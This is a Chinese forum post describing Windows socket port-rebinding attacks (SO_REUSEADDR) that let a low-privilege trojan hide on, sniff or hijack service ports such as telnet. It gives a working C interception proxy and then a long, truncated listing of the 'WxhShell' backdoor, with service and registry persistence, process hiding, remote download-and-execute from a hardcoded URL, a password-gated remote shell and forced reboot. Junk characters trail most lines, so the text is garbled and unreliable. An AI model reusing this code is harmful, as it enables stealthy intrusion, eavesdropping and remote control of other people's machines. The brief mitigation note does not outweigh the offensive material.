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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (6aSDx Sc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "k8Yc<`u  
b.`<T "y  
  saddr.sin_family = AF_INET; ;{n@hM*O  
e b])=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GAZTCkB"  
Zy}Qc")Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M  `QYrH  
cB;:}Q08#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4@K9%  
6I$laHx?  
  这意味着什么?意味着可以进行如下的攻击: $=x1_  
0Cox+QJt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K+0&~XU  
_f~(g1sE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j.3#rxq  
; bBz<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5/v,|  
y^rcUPLT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YF+hN\  
~*3obZ2>2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3'd(=hJ45$  
J3]!<v=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V~Zi #o  
]x8_f6;D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h,Y!d]2w  
Quc,,#u  
  #include yGNZw7^(  
  #include 7,i}M  
  #include *wgHa6?+7  
  #include    Q}KNtNCpx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5E~?hWAv  
  int main() iqzl(9o.D  
  { sr0.4VU1  
  WORD wVersionRequested; F{#m~4O  
  DWORD ret; *K9I+t"g  
  WSADATA wsaData; U4DQ+g(A  
  BOOL val; 0WasE1t|  
  SOCKADDR_IN saddr; z7[TgL7  
  SOCKADDR_IN scaddr; ]Qo.X~]  
  int err; nkKiYr  
  SOCKET s; 56;(mbW  
  SOCKET sc; ^i"C%8  
  int caddsize; 9,?\hBEu  
  HANDLE mt; Lx{bR=  
  DWORD tid;   KGMX >t'  
  wVersionRequested = MAKEWORD( 2, 2 ); `y&d  
  err = WSAStartup( wVersionRequested, &wsaData ); ? m$uqi  
  if ( err != 0 ) { |-WoR u  
  printf("error!WSAStartup failed!\n"); dDuT,zP  
  return -1; 3)F9:Tzw1  
  } Cm~h\+"  
  saddr.sin_family = AF_INET; -S7PnR6  
   y8Q96zi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =h?Q.vad  
.Z,3:3,]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @%4MFc0`!  
  saddr.sin_port = htons(23); jpL' y1@Ut  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $jt  UQ1  
  { ,BK6a'1J  
  printf("error!socket failed!\n"); k,EI+lCX  
  return -1; {U$qxC]M  
  } v&6=(k{E@R  
  val = TRUE; hjuzVOE|W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _%HpB=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 81\$X  
  { '~dE0ohWb  
  printf("error!setsockopt failed!\n"); K3eYeXV  
  return -1; w#?@ulr]d  
  } 8q)wT0A~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0-)D`s%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $ae*3L>5M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b.qp&2A  
'64&'.{#>r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >28.^\?H4  
  { 4$~]t:n  
  ret=GetLastError(); RwH<JaL:  
  printf("error!bind failed!\n"); ~~U2Sr  
  return -1; ?e? mg  
  } Hx}K w S  
  listen(s,2); 8 S'g%  
  while(1) OD,"8JF  
  { |!r.p_Zt  
  caddsize = sizeof(scaddr); N=qe*Rlf  
  //接受连接请求 vYh_<Rp5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NF& ++Vr6  
  if(sc!=INVALID_SOCKET) dcFqK~  
  { V}1D1.@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =F!DwaZ  
  if(mt==NULL) u3!aKXnv<  
  { ^y.e Fz  
  printf("Thread Creat Failed!\n"); S.;>:Dd[K  
  break; 9m2_zfO[ w  
  } 8\-Q(9q(  
  } IAr  
  CloseHandle(mt); HaP0;9q  
  } | v? pS  
  closesocket(s); t 6.hg3Y  
  WSACleanup(); RU>Hr5ebo  
  return 0; p_!;N^y.  
  }   4<S*gu*W  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8:Yha4<Bv7  
  { $9 GRAM.  
  SOCKET ss = (SOCKET)lpParam; 5XO eYO{  
  SOCKET sc; ,"U8Fgf[r  
  unsigned char buf[4096]; !/4f/g4Ze  
  SOCKADDR_IN saddr; ?Rc+H;x=f  
  long num; Wsn}Y-x  
  DWORD val; RP]hW{:U  
  DWORD ret; 1vcI`8%S+u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M@a?j<7P,m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zu<8%  
  saddr.sin_family = AF_INET; {(}Mu R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >wK ^W{  
  saddr.sin_port = htons(23); r7tN(2;5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SrV+Ox  
  { gf!hO$sQ3  
  printf("error!socket failed!\n"); uN`{; Av  
  return -1; `{g8A P3  
  } ^}XKhn.S'  
  val = 100; ?Gq'r2V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BX[92~Bq  
  { _VU/j9<+  
  ret = GetLastError(); ,}M@Am0~  
  return -1; ETP}mo  
  } d*26;5~\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M\wIpRD,  
  { 5YJn<XEc  
  ret = GetLastError(); 1y5]+GU'`  
  return -1; iSTr;>A  
  } <BIj a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z/*nY?  
  { }i1p &EN^  
  printf("error!socket connect failed!\n"); P5;LM9W  
  closesocket(sc); W11Wv&  
  closesocket(ss); w=I' CMRt  
  return -1; ;!4Bw"Gg  
  } H'myd=*h~8  
  while(1) 6KiI3%y?0  
  { Xtqjx@ye  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T ,, Ao36  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DPvM|n`TW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !UE' AB  
  num = recv(ss,buf,4096,0); Dc |!H{Yr  
  if(num>0) ]KGLJ~hm>  
  send(sc,buf,num,0); _W41;OY  
  else if(num==0) JZp*"UzQr  
  break; )^UM8 s  
  num = recv(sc,buf,4096,0); \H$Ps9Xh  
  if(num>0) !dfc1UjB  
  send(ss,buf,num,0); *|MHQp'A  
  else if(num==0) V\zf yH\~  
  break; \oF79   
  }  ^o+}3=  
  closesocket(ss); @R= gJ:&a  
  closesocket(sc); -k{n"9a9?  
  return 0 ; .s 31D%N  
  } CW k#Amt.  
Gx ?p,Fj  
q/xMM `{  
========================================================== RQI?\?o  
!|`G<WD  
下边附上一个代码,,WXhSHELL 16MRLDhnD  
*loPwV8  
========================================================== G#/}_P  
$ WAFr  
#include "stdafx.h" Evkb`dU3n  
ZCi~4&Z#  
#include <stdio.h> uhL+bj+W  
#include <string.h> H4LZNko  
#include <windows.h> JicAz1P1W  
#include <winsock2.h> hXi^{ntw,  
#include <winsvc.h> p<>%9180!F  
#include <urlmon.h> <,d.`0:y  
;bVC7D~~4w  
#pragma comment (lib, "Ws2_32.lib") ig:/60Z  
#pragma comment (lib, "urlmon.lib") mH> oF|  
U0'>(FP~2  
#define MAX_USER   100 // 最大客户端连接数 >ir'v5  
#define BUF_SOCK   200 // sock buffer H8~<;6W  
#define KEY_BUFF   255 // 输入 buffer J#B% #X  
TEl :;4  
#define REBOOT     0   // 重启 >TUs~  
#define SHUTDOWN   1   // 关机 c 6sGjZdR  
zyTP|SXk  
#define DEF_PORT   5000 // 监听端口 pN/)$6=  
M}NmA  
#define REG_LEN     16   // 注册表键长度 &~U!X~PpB  
#define SVC_LEN     80   // NT服务名长度 T^u][I3*  
W R@=[G#TJ  
// 从dll定义API UKp- *YukT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {]plT~{e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b:/;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N+x0"~T}I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AOQimjW9a  
x\r7q  
// wxhshell配置信息 2?ac\c6"  
struct WSCFG { ]Mi ~vG q  
  int ws_port;         // 监听端口 iph>"b$D  
  char ws_passstr[REG_LEN]; // 口令 _f$8{&`k  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5Jq~EB{"  
  char ws_regname[REG_LEN]; // 注册表键名 i rMZLc6  
  char ws_svcname[REG_LEN]; // 服务名 *]~ug%a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tVd\r"0k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D8N}*4S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5Z}]d@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2<wuzP|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -}0S%|#m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?ix--?jl  
-frmvNJ F  
}; ARAC'F0  
FR9qW$B  
// default Wxhshell configuration  5<bc>A-  
struct WSCFG wscfg={DEF_PORT, AEx I!  
    "xuhuanlingzhe", S?nk9 T+  
    1, %o9@[o .]  
    "Wxhshell", ?F20\D\V  
    "Wxhshell", aO('X3?  
            "WxhShell Service", ZB GLwe  
    "Wrsky Windows CmdShell Service", Xn-GSW3{  
    "Please Input Your Password: ", )ALPMmlRs  
  1, M>dP 1  
  "http://www.wrsky.com/wxhshell.exe", I&]d6,  
  "Wxhshell.exe" |WH'aGG  
    }; QlJ cj+_h  
h`dtcJ0  
// 消息定义模块 {8UYu2t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *"` dO9Yf_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *T j(IN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OiX:h#  
char *msg_ws_ext="\n\rExit."; ^pZ1uN!b  
char *msg_ws_end="\n\rQuit."; G\G TS}u[  
char *msg_ws_boot="\n\rReboot..."; >k,|N4(  
char *msg_ws_poff="\n\rShutdown..."; J]/TxUE  
char *msg_ws_down="\n\rSave to "; 1o)@{x/pd  
;hGC.}X  
char *msg_ws_err="\n\rErr!"; R;&C6S  
char *msg_ws_ok="\n\rOK!"; By{zX,6'  
A<l8CWv[  
char ExeFile[MAX_PATH]; jZeY^T)f"  
int nUser = 0; v.:aICB5  
HANDLE handles[MAX_USER]; N&7= hni  
int OsIsNt; bqp6cg\p  
XJy~uks,  
SERVICE_STATUS       serviceStatus; CI"7* z_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "OF4#a17  
!s pp*Q)#\  
// 函数声明 :8aa#bA  
int Install(void); ^%|,G:r  
int Uninstall(void); OQMkpX-dH  
int DownloadFile(char *sURL, SOCKET wsh); P:h;"  
int Boot(int flag); J$  
void HideProc(void); `<!Nk^2ap  
int GetOsVer(void); ~>&7~N8  
int Wxhshell(SOCKET wsl); =r"8J5[f  
void TalkWithClient(void *cs); _O)xE9t#ru  
int CmdShell(SOCKET sock); [2?|BUtD[  
int StartFromService(void); XlUM~(7+v  
int StartWxhshell(LPSTR lpCmdLine); [ qt hn[3  
_#@n^c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k `JP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ntbl0Sk  
hc OT+L>  
// 数据结构和表定义 L;zwqdI  
SERVICE_TABLE_ENTRY DispatchTable[] = H-A?F ^#  
{ |D+"+w/  
{wscfg.ws_svcname, NTServiceMain}, d4KT wn5g  
{NULL, NULL} $Llv6<B  
}; i'9aQi"G  
DhZuQpH  
// 自我安装 VZo[\sWf  
int Install(void) ,Oa-AF/p  
{ stuj,8  
  char svExeFile[MAX_PATH]; >QO^h<.>  
  HKEY key; )3 #gpM  
  strcpy(svExeFile,ExeFile); +\g/KbV7  
X{4jyi-<  
// 如果是win9x系统,修改注册表设为自启动 /a.4atb0  
if(!OsIsNt) { ?q a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |U{9Yy6p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F: %-x=q  
  RegCloseKey(key); l?pF?({  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pgbm2mT9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4?Pdld  
  RegCloseKey(key); FJ0Ity4u6  
  return 0; gU\pP,a  
    } CXt9 5O?  
  } -&4>>h9 _  
} (5- w>(  
else { 68Po`_/s  
O b'B?  
// 如果是NT以上系统,安装为系统服务 JPQWRK^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |,3s]b`  
if (schSCManager!=0) n^aSio6  
{ /(IV+  
  SC_HANDLE schService = CreateService 8G$ %DZ $  
  (  m(CW3:|  
  schSCManager, j1{|3#5V  
  wscfg.ws_svcname, d 90  
  wscfg.ws_svcdisp,  gGF]Dq  
  SERVICE_ALL_ACCESS, p3>(ZWPNV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )_bc:6Q  
  SERVICE_AUTO_START, '%Og9Bgd+  
  SERVICE_ERROR_NORMAL, MMlryn||1  
  svExeFile, MzjV>.  
  NULL, D![42H+-Qd  
  NULL, !5,>[^y3  
  NULL, ldp x,  
  NULL, ql"&E{u?  
  NULL gc(Gc vdB\  
  ); ]0v;;PfVl6  
  if (schService!=0) ^b|Z<oF  
  { 3m3ljy  
  CloseServiceHandle(schService); mGx!{v~i&  
  CloseServiceHandle(schSCManager); EdGA#i3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,fWQSc\}  
  strcat(svExeFile,wscfg.ws_svcname); ;W%nBdE6|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (NfP2E|B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \H(r }D$u<  
  RegCloseKey(key); _vOV(#q2a  
  return 0; ,n\"zYf ]^  
    } _Z~cJIEU  
  } -7MR2)U  
  CloseServiceHandle(schSCManager); wEju`0#;  
} O-m=<Fk> D  
} 8Aq [@i  
t^ _0w[  
return 1; V{!fag  
} #yNSQd  
k3[rO}>s  
// 自我卸载 u.v 5!G  
int Uninstall(void) _N8Tu~lqV  
{ *R9s0;&:  
  HKEY key; G!]%xFwYa  
L8OW@)|  
if(!OsIsNt) { 6Gt~tlt:L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9%fd\o@X  
  RegDeleteValue(key,wscfg.ws_regname); VnlgX\$}  
  RegCloseKey(key);  )ph**g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L1J \ C  
  RegDeleteValue(key,wscfg.ws_regname); /V'^$enK!}  
  RegCloseKey(key); 6 3TeTGp$  
  return 0; Xjb 4dip  
  } s|er+-'  
} R7)\w P*l5  
} 5zk<s`h  
else { E :gS*tsY  
w+A:]SU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Skb,cKU  
if (schSCManager!=0) 5L ]TV\\  
{ 8CXZ7 p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <//82j+px  
  if (schService!=0) eKRslMa  
  { t "y[  
  if(DeleteService(schService)!=0) { -NzO,?  
  CloseServiceHandle(schService); L'i0|_  
  CloseServiceHandle(schSCManager); *"cK_MH/o  
  return 0; Q 6>7{\8l  
  } #Z;6f{yWf  
  CloseServiceHandle(schService); nsT]Yxo%M  
  } 6yDj1PI  
  CloseServiceHandle(schSCManager); hz:^3F`>/&  
} $'Pn(eZHGv  
} q%H`/~AYM  
(CUrFZT$  
return 1; 1Yr&E_5/  
} N5W;Zx]  
b5!\"v4c  
// 从指定url下载文件 }E o\=>l7  
int DownloadFile(char *sURL, SOCKET wsh) PK&3nXF%4  
{ C\-Abq c  
  HRESULT hr; By3y.}'Ub9  
char seps[]= "/"; X?6E0/r&9  
char *token; [^N8v;O  
char *file; rw CFt6;v  
char myURL[MAX_PATH]; rbC4/9G\  
char myFILE[MAX_PATH]; !T+jb\O_  
woSO4e/  
strcpy(myURL,sURL); v %?y5w  
  token=strtok(myURL,seps); ,/m@<NyK  
  while(token!=NULL) D8 S?xK7[  
  { @.rVg XE=!  
    file=token; ^oZz,q  
  token=strtok(NULL,seps); oAnNdo  
  } A/bxxB7w  
VV_Zrje  
GetCurrentDirectory(MAX_PATH,myFILE); [G.4S5FX.]  
strcat(myFILE, "\\"); 0<g;g%   
strcat(myFILE, file); M<Gr~RKmAn  
  send(wsh,myFILE,strlen(myFILE),0); V)pn)no'V  
send(wsh,"...",3,0); #sHA!@ |  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m7~<z>5$  
  if(hr==S_OK) f82$_1s^  
return 0; *HT )Au"5  
else ?nVwT[  
return 1; Vki'pAN  
]m fI$p%  
} )^Ha?;TS  
iTX:*$~I  
// 系统电源模块 1\'?.  
int Boot(int flag) R1!F mZW8  
{ ,]:vk|a#;  
  HANDLE hToken; ]'L#'"@  
  TOKEN_PRIVILEGES tkp; 96NZ rT  
oK-T@ &-  
  if(OsIsNt) { Z`FEB0$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ' 91-\en0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AD$$S.zoD<  
    tkp.PrivilegeCount = 1; '7'*+sgi$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mx-? &  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,H_b@$]n8  
if(flag==REBOOT) { L&gC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NZu\ Ae  
  return 0; `&3hfiI}  
} For`rfR  
else { P M x`P B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d65fkz==A)  
  return 0; 8vk*",  
} fX:)mLnO/  
  } mYU7b8x_  
  else { asT/hsSNS  
if(flag==REBOOT) { {2A| F{7>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vxr_2Kra  
  return 0; $ 8"we  
} a\K__NCrX  
else { jY~W*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |JUb 1|gi  
  return 0; z;c~(o@4  
} 7o+JQ&fF;  
} ;~A-32;Y4  
Fwu:x.(  
return 1; iRbTH}4i  
} .Mn_T*F  
z~O#0Q !  
// win9x进程隐藏模块 v?s]up @@h  
void HideProc(void) >A]U.C  
{ A?YU:f  
\d"uR@$3mG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T[ ~8u9/  
  if ( hKernel != NULL ) A#b`{C~l  
  { *btLd7c%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QU#u5sX A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g':/hlQ  
    FreeLibrary(hKernel); `:aml+  
  } ^R g=*L  
^| b]E  
return; ZqDanDM  
} vb&1 S  
=XRTeIZ  
// 获取操作系统版本 &Zzd6[G+  
int GetOsVer(void) +vDEDOS1  
{ N7wKaezE  
  OSVERSIONINFO winfo; dy }O6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QbN7sg~~  
  GetVersionEx(&winfo); slQxz;t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cC4 2b2+  
  return 1; GlVb |O"  
  else /LH# 3  
  return 0; @Sik~Mm_h  
} y ~PW_,  
=do*(  
// 客户端句柄模块 ,qj1"e  
int Wxhshell(SOCKET wsl) F6L}n-p5  
{ -T,/S^  
  SOCKET wsh; vp[;rDsIJ$  
  struct sockaddr_in client; LR(Q.x  
  DWORD myID; TKwMgC}<[  
Fm{/&U^  
  while(nUser<MAX_USER) 71RG1,  
{ Y:x,pPyl  
  int nSize=sizeof(client); x)]_]_vX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ytmFe!  
  if(wsh==INVALID_SOCKET) return 1; !1X^lFf;~  
OBCH%\;g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <P%<EgOE  
if(handles[nUser]==0) x5X;^.1Fr  
  closesocket(wsh); >qqI6@h]c  
else V[Z^Z  
  nUser++; !vrdu OB  
  } Pse1NMK9 [  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }k{h^!fV  
8E/wUN,Lxj  
  return 0; Au=9<WB%H  
} @) \{u$  
1xBg^  
// 关闭 socket Q.b<YRZ  
void CloseIt(SOCKET wsh) 'Nqa=_<WW  
{ E7CeE6U  
closesocket(wsh); I6.!0.G  
nUser--; (V06cb*42[  
ExitThread(0); ^zfO=XN  
} l%f &vOcd  
].!^BYNht  
// 客户端请求句柄 eZck$]P(6H  
void TalkWithClient(void *cs) |riP*b  
{ c; MF  
pA%Sybw+  
  SOCKET wsh=(SOCKET)cs; + Cf  
  char pwd[SVC_LEN]; lMQ_S"  
  char cmd[KEY_BUFF]; <*Ex6/j  
char chr[1]; |e%o  
int i,j; e7$ZA#A_5v  
6m\MYay  
  while (nUser < MAX_USER) { QAk.~ ob  
2_i9 q>I  
if(wscfg.ws_passstr) { j "^V?e5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2!Gb4V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O^2@9 w  
  //ZeroMemory(pwd,KEY_BUFF); Cj +{%^#  
      i=0; H}p5qW.tH:  
  while(i<SVC_LEN) { @:ojt$  
nZtP!^#  
  // 设置超时 D,c53B6M  
  fd_set FdRead; c1wP/?|.>  
  struct timeval TimeOut; FG6bKvEQm^  
  FD_ZERO(&FdRead); wuV*!oefo  
  FD_SET(wsh,&FdRead); MB"TwtW  
  TimeOut.tv_sec=8; y$Y*%D^w  
  TimeOut.tv_usec=0; -".q=$f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |Y9mre.Y;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qm >x ?  
L3@upb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %77X/%.Y  
  pwd=chr[0]; z2 m(<zb  
  if(chr[0]==0xd || chr[0]==0xa) { 6F)^8s02h  
  pwd=0; $GI jWlAh  
  break; Pw :{  
  } g,YJh(|#{  
  i++; h,palP6^  
    } yPmo@aw]1  
`zw^ WbCO{  
  // 如果是非法用户,关闭 socket Ocp`6Fj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }}Kj b  
} P\nz;}nv  
h;lg^zlTb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "{@Q..hxC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W[R^5{k`  
5L!cS+QNU  
while(1) { :ot^bAyt|  
je[1>\3W  
  ZeroMemory(cmd,KEY_BUFF); e*Gt%'  
2K~<_.S  
      // 自动支持客户端 telnet标准   ]}za  
  j=0; JK/VIu&!  
  while(j<KEY_BUFF) { 3$yOv "`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ZuFMVR  
  cmd[j]=chr[0]; ';>A=m9(4%  
  if(chr[0]==0xa || chr[0]==0xd) { Bokpvd-c7  
  cmd[j]=0; +5k^-  
  break; |Q\O% cb  
  } VUF$,F9  
  j++; h't! 1u  
    } 4[P]+Z5b+  
j]X $7  
  // 下载文件 tEbR/? ,GI  
  if(strstr(cmd,"http://")) { ~TvKMW6/#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MJ..' $>TC  
  if(DownloadFile(cmd,wsh)) 6A ;,Ph2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VHbQLJ0  
  else N,?4,+Hc-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $[*QsU%%  
  } CwL8-z0 Jn  
  else { ulAOQGZ  
dJ|/.J$d  
    switch(cmd[0]) { PCkQ hR  
  ~A-vIlGt!  
  // 帮助 ^K]`ZQjKC  
  case '?': { ,'%wadOo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m,X8Cy|vQ  
    break; KccIYn~  
  } i .GJO +K  
  // 安装 1I#]OY#>  
  case 'i': { 0g{`Qd  
    if(Install()) j YVR"D;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cmu|d  
    else p\).zuEf.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^8q(_#w`K  
    break; qPvWb1H:  
    } 2vLV1v$,q  
  // 卸载 L8WYxJ k  
  case 'r': { S!@h\3d8{  
    if(Uninstall()) g7-*WN<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W)z@>4`Bb  
    else 9[@K4&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ri?k}XnhX  
    break; E/:mO~1< c  
    } M!D&a)\  
  // 显示 wxhshell 所在路径 U-6pia /o  
  case 'p': { xro%AM  
    char svExeFile[MAX_PATH]; }1}L&M@  
    strcpy(svExeFile,"\n\r"); iU1yJ=  
      strcat(svExeFile,ExeFile); /9o gg  
        send(wsh,svExeFile,strlen(svExeFile),0); cqSo%a2  
    break; NSV;R~"  
    } \\d!z-NOk?  
  // 重启 >gSiH#>  
  case 'b': { 7mT iO?/y<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TYH4r q &  
    if(Boot(REBOOT)) ,3P@5Ef  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S9mcThcZ  
    else { TR J5m?x  
    closesocket(wsh); "IuHSjP  
    ExitThread(0); &WV&_z  
    } Zjq(]y  
    break; SF. Is=b  
    } vP @\"  
  // 关机 =6Q\78b  
  case 'd': { N/V~>UJ0{*  
